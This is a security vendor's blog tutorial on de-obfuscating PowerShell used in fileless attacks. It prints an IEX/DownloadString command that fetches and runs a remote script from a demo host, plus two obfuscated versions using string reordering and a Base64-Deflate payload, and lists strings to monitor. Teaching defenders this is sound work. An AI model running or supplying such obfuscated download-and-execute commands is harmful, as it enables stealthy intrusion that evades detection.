Get Started

In this article

Powershell Obfuscation Demystified Series Chapter 2: Concatenation and Base64 Encoding


August 10, 2020
Last Updated: September 25, 2024
Share on:

Written by: Max Malyutin

In this chapter we role up our sleeves and start getting our hands dirty and analyze two of the common obfuscation techniques – concatenation and based64 encoding

This is part of an extensive series of guides about Network Attacks

Introduction

PowerShell is often the tool of choice to fileless malware writers due to its ability to execute processes in memory. In fact, based on our SOC experience, PowerShell easily qualifies as the leading fileless first step.

What we’ll see is an example of how attackers obfuscate one of the most popular in-memory execution cmdlets – IEX (involve-expression)

Stop advanced cyber
threats with one solution

Cynet’s All-In-One Security Platform

  • Full-Featured EDR and NGAV
  • Anti-Ransomware & Threat Hunting
  • 24/7 Managed Detection and Response

Achieved 100% detection in 2023

review stars

Rated 4.8/5

review stars

2024 Leader

PowerShell and Fileless Malware

The IEX cmdlet is a standard alias of invoke-expression, that allows the user to run commands or expressions on the local computer.

Syntax of how to use the invoke-expression cmdlet:

  • Invoke-Expression [-command] string

In the case of fileless attacks, the IEX cmdlet has a big role in the attacker’s malicious scripts. The IEX can be used to run a one liner command that can perform execution of remote malicious script.

In order to understanding the common PowerShell one liner exploits that use IEX cmdlet, we will check the following example:

The above command will download (into the PS memory) an expression from the given URL and execute it via IEX cmdlet, which means that the cybad.ps1 script context will be executed from the PowerShell virtual memory and not from the disk. Fileless techniques are hard to detect with traditional Anti-virus, that scan only files that are stored on the disk.

Above are real scenarios of IEX usage in order to perform a fileless attack, these examples are real commands that are usually used by penetration testers.

 

Tips From the Expert

In my experience, here are tips that can help you better defend against PowerShell obfuscation techniques like concatenation and Base64 encoding used by attackers:

  1. Deep Script Block Logging with De-obfuscation: Enable script block logging with additional analysis tools that can automatically decode obfuscated commands within the captured script blocks. This allows for faster detection and reconstruction of the attacker’s true intent.
  2. Automated Detection of Complex Obfuscation Patterns: Develop or integrate automated tools that utilize regular expressions and anomaly detection to identify advanced techniques like string reordering variations and irregular formatting operator usage. These tools can flag suspicious patterns and significantly reduce the time spent on manual analysis.
  3. Multi-Layered Decoding and Script Analysis: Implement a combination of automated Base64 decoding, environment variable manipulation detection, and compression library monitoring within your security stack. This layered approach ensures that even heavily obfuscated scripts with various encoding methods are effectively exposed.
  4. Behavior-Based Monitoring for Unusual PowerShell Activity: Go beyond simple command-line monitoring and implement behavior-based solutions that analyze script execution patterns. Look for anomalies like rare command combinations, encoded execution attempts, and unexpected compression usage. This helps identify malicious activity that might bypass traditional signature-based detection.
  5. Role-Based Whitelisting and Endpoint Detection with Advanced Obfuscation Signatures: Combine role-based access control with advanced endpoint detection and response (EDR) solutions. Whitelist authorized PowerShell usage based on user roles and leverage EDR tools that can recognize sophisticated obfuscation techniques in real-time. This two-pronged approach mitigates the risk of unauthorized script execution and empowers faster incident response.

Eyal Gruner is the Co-Founder and CEO of Cynet. He is also Co-Founder and former CEO of BugSec, Israel’s leading cyber consultancy, and Versafe, acquired by F5 Networks. Gruner began his career at age 15 by hacking into his bank’s ATM to show the weakness of their security and has been recognized in Google’s security Hall of Fame.

Monitoring for Suspicious PowerShell Commands

So, as a defender in a blue team we can try to monitor PowerShell commands that are running with IEX (invoke-expression) cmdlet, ‘New-Object Net.Webclient’ class and ‘DownloadString’ method in order to find suspicious PowerShell one liners. This may help us to find hints for suspicious fileless attacks that will load a remote script into the PowerShell instance and execute it.

Let’s take our example and break it down in order to figure out what is the suspicious strings to search:

  • IEX(New-Object Net.WebClient).DownloadString(’http://www.demo.local/cybad.ps1’)
    • IEX:
      • Runs commands or expressions on the local computer.
    • New-Object Net.WebClient:
      • Provides common methods for sending data to and receiving data from a resource identified by a URI.
    • DownloadString:
      • Downloads the requested resource as a String. The resource to download may be specified as either String containing the URI or a Uri.

Breaking Down an Obfuscated Command

The following commands are the new obfuscated version of the “IEX(New-Object Net.WebClient).DownloadString(’http://www.demo.local/cybad.ps1’)” example.

  • &(“{1}{0}” -f ‘EX’,’I’)(&(“{1}{0}{2}”-f ‘Obje’,’New-‘,’ct’) (“{1}{4}{3}{0}{2}” -f’Clie’,’N’,’nt’,’t.Web’,’e’)).(“{1}{3}{0}{2}” -f ‘trin’,’Downl’,’g’,’oadS’).Invoke((“{1}{5}{2}{4}{3}{0}” -f ‘l/cybad.ps1′,’h’,’ww’,’loca’,’w.demo.’,’ttp://’))
  • ( nEW-ObJeCt sYsTem.Io.COMPression.DeFlATestreAM([IO.MEMorySTREaM] [sYsteM.ConveRT]::fROmbaSE64String(’83SN0FBQ8Est1/VPykpNLgEyS/TCU5OcczJT
    80oUNPVc8svzcvITU4JLijLz0jXsM0pKCqz09cvLy/VSUnPz9XLykxNz9JMrkxJT9AqKDe01AQ==’) ,[io.cOmpresSioN.cOMpREssionMODE]::DECoMPress) |fOrEACH-OBJECt { nEW-ObJeCt iO.StREamreAder($_, [tExt.ENcoDIng]::Ascii ) } |FoREach-ObjeCT { $_.REaDToenD()} ) |.( $SHeLLid[1]+$ShELlid[13]+’x’)

Now if we will try to search for the suspicious strings, we cannot find them due to the obfuscation.

 

Step 1: Identifying the IEX Cmdlet

The most important part when we start to de-obfuscate a PowerShell command is to remember that the PowerShell command will read a context in to the memory and execute it, we just want to figure the malicious context and not execute it.

The cmdlet that will execute the malicious context in the memory is the IEX so, first we need to find the IEX and delete it in order safely continue the investigation and de-obfuscate the command.

First de-obfuscation example:

 

Stop advanced cyber
threats with one solution

Cynet’s All-In-One Security Platform

  • Full-Featured EDR and NGAV
  • Anti-Ransomware & Threat Hunting
  • 24/7 Managed Detection and Response

Achieved 100% detection in 2023

review stars

Rated 4.8/5

review stars

2024 Leader

Step 2: Recognizing the "Reordering" Obfuscation Technique

In order to de-obfuscate this command we will use the PowerShell ISE.

The initial steps are to understand which obfuscation techniques were used in order to reverse it to clear text command. Remember we need to find the IEX and delete it.

The first pattern that we can figure is that the obfuscation script is split by brackets ().

  • &(“{1}{0}” -f ‘EX’,’I’)(&(“{1}{0}{2}”-f ‘Obje’,’New-‘,’ct’) (“{1}{4}{3}{0}{2}” -f’Clie’,’N’,’nt’,’t.Web’,’e’)).(“{1}{3}{0}{2}” -f ‘trin’,’Downl’,’g’,’oadS’).Invoke((“{1}{5}{2}{4}{3}{0}” -f ‘l/cybad.ps1′,’h’,’ww’,’loca’,’w.demo.’,’ttp://’))

The second pattern is the curly brackets {} that hold numbers:

  • &(“{1}{0}” -f ‘EX’,’I’)(&(“{1}{0}{2}“-f ‘Obje’,’New-‘,’ct’) (“{1}{4}{3}{0}{2}” -f’Clie’,’N’,’nt’,’t.Web’,’e’)).(“{1}{3}{0}{2}” -f ‘trin’,’Downl’,’g’,’oadS’).Invoke((“{1}{5}{2}{4}{3}{0}” -f ‘l/cybad.ps1′,’h’,’ww’,’loca’,’w.demo.’,’ttp://’))

Furthermore, we can see that the -f is present after each curly bracket.

  • &(“{1}{0}-f ‘EX’,’I’)(&(“{1}{0}{2}-f ‘Obje’,’New-‘,’ct’) (“{1}{4}{3}{0}{2}” -f’Clie’,’N’,’nt’,’t.Web’,’e’)).(“{1}{3}{0}{2}-f ‘trin’,’Downl’,’g’,’oadS’).Invoke((“{1}{5}{2}{4}{3}{0}” -f ‘l/cybad.ps1′,’h’,’ww’,’loca’,’w.demo.’,’ttp://’))

This is the known obfuscation technique that is called “Reordering”. The formatting operator (-f) is dividing the string into several parts and it will reorder them by the curly bracket’s numbers.
The brackets number used as placeholders. In the first view it seemed like a puzzle.

In our case the first bracket holds (“{1}{0}” -f ‘EX’,’I’):

  • {1}=’I’
  • {0}=’EX’

So, if we combine these two strings, the result is ‘IEX’

So now when we know how to deal with the formatting operator (-f), we can check for the next bracket and so on.

Step 3: Base64 Encoding Obfuscation Technique

The second obfuscation command used a different obfuscation technique; it obfuscates the command by using a base64 string to compress the malicious context.

This command uses classes to convert a base64 encoded string to a memory stream. In order to safely decompress this command, first we need to check for the IEX cmdlet.

So, we know that all the first part of the command assessed with compression after this part we can see that we have a pipe ‘|’ and after that we have an unknown command:

  • ( $SHeLLid[1]+$ShELlid[13]+’x’)

This is the IEX cmdlet we need to find, but how do we know that. The trick that is used in this case is using environment variables that holds a string. In this case the $SHeLLid is the environment variable that is used.

So, this variable holds the following string of ‘Microsoft.PowerShell’.

The Square brackets ‘[]’ hold the index number of the sliced string from the variable.

In this way it will combine the IEX cmdlet, I + E + X = IEX.

Afterwards, we have found the IEX, and we can delete it and run the first part of the command in order to decompress the compression and decode the base64 command.

  • Red line represents the methods and properties for compressing and decompressing streams by using the Deflate algorithm.
  • Yellow line represents the convert method of the specified string, which will be used to decode the binary data from base64 digits.
  • White line represents the actual base64 string.
  • Green line represents the IO compression mode.
  • Blue line represents the desired Ascii result from the translation of the base64.

In the following snap you will be able to see the result of the script:

Conclusion

Obfuscation techniques like concatenation and Base64 encoding add complexity to detecting malicious PowerShell scripts. Understanding these techniques and the patterns behind them can help security professionals effectively monitor and mitigate fileless attacks.

How would you rate this article?

Let’s get started!

Ready to extend visibility, threat detection and response?

Get Started

Search results for: